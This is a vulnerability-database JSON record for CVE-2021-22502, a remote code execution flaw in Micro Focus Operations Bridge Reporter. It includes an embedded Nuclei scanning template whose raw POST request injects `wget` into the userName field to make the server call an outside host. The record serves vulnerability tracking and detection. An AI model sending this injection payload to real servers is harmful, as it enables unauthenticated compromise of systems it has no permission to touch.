{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-22502/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-22502/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-22502/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-22502/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-22502/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-22502"},"sightings":{"href":"/api/v1/sightings/cve-2021-22502"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.9674,"kev":true,"percentile":0.99885},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-22502.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-22502\n\ninfo:\n  name: Micro Focus Operations Bridge Reporter - Remote Code Execution\n  author: pikpikcu\n  severity: critical\n  description: |\n    Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands on the Operations Bridge Reporter server, leading to complete system compromise and access to all monitoring data.\n  remediation: |\n    Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.\n  reference:\n    - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md\n    - https://softwaresupport.softwaregrp.com/doc/KM03775947\n    - https://www.zerodayinitiative.com/advisories/ZDI-21-153/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22502\n    - https://www.zerodayinitiative.com/advisories/ZDI-21-154/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-22502\n    cwe-id: CWE-78\n    epss-score: 0.9674\n    epss-percentile: 0.99885\n    cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: microfocus\n    product: operation_bridge_reporter\n  tags: cve2021,cve,microfocus,obr,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /AdminService/urest/v1/LogonResource HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"userName\":\"something `wget {{interactsh-url}}`\",\"credential\":\"whatever\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"An error occurred\"\n          - \"AUTHENTICATION_FAILED\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 401\n# digest: 4a0a00473045022061ec1073111efea40cde5a30bc5214e7ffa1864cf419ed864640a4c7baec3279022100f7b47f4c24b257d05404237f785804ef9a748cd0809f798a2febc57faa7d31dc:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-22502"}